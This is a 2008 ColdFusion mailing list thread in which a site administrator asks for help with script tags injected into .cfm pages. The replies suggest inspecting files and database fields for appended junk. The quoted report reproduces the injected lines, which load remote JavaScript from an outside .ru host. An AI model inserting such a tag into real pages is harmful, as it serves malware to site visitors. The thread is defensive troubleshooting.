Yeah I did that already. It is in the .cfm files themselves. I also have code in place to prevent SQL injection attacks. I'm hoping these were files I just missed on the first cleanup.
-----Original Message----- From: Al Musella, DPM [mailto:[EMAIL PROTECTED] Sent: Wednesday, September 03, 2008 10:38 AM To: CF-Talk Subject: Re: Script on one site Look at the .cfm file and see if these script tags are in the cfm file or if they are stored in a database. Look through your database. Look at every table and see if there is a lot of junk at the end of some char or varchar fields.. At 10:37 PM 9/2/2008, you wrote: >I have one site in particular that keeps getting this kind of stuff on >the bottom of .cfm pages right above the </body> tag. I have already >recreated their FTP account once with a strong password. It seems odd >this is only happening to .cfm pages though and only on this site on the >server. Any ideas? > > > > > ><script src=http://www.ncwc.ru/fgg.js></script><script >src=http://www.ncwc.ru/fgg.js></script><script ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311990 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

